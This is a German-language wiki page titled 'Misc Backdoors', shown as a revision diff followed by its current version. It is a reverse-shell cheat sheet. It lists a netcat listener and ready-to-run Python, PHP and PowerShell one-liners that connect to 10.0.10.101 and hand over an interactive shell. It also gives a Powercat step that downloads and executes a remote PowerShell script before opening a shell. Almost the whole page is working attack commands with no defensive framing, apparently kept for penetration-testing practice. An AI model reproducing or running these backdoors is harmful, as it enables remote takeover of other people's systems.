Misc Backdoors: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(6 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 3: Zeile 3:
 
=Python=
 
=Python=
 
;shell
 
;shell
*python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.10.101",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
+
*python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.10.101",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
 
;bash
 
;bash
*python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.10.101",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
+
*python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.10.101",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
 +
 
 
=Php=
 
=Php=
 
;shell
 
;shell
Zeile 12: Zeile 13:
 
*php -r '$sock=fsockopen("10.0.10.101",1234);exec("/bin/bash -i <&3 >&3 2>&3");'
 
*php -r '$sock=fsockopen("10.0.10.101",1234);exec("/bin/bash -i <&3 >&3 2>&3");'
  
=Powershell=
+
=Powercat=
*$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
+
*IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
 +
*powercat -c 10.0.10.101 -p 1234 -e cmd -v
 +
*https://github.com/besimorhino/powercat
  
 
=Quellen=
 
=Quellen=
 
*https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
 
*https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Aktuelle Version vom 5. Oktober 2023, 16:10 Uhr

Angreifer

  • netcat -lp 1234

Python

shell
  • python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.10.101",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
bash
  • python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.10.101",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Php

shell
  • php -r '$sock=fsockopen("10.0.10.101",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
bash
  • php -r '$sock=fsockopen("10.0.10.101",1234);exec("/bin/bash -i <&3 >&3 2>&3");'

Powercat

Quellen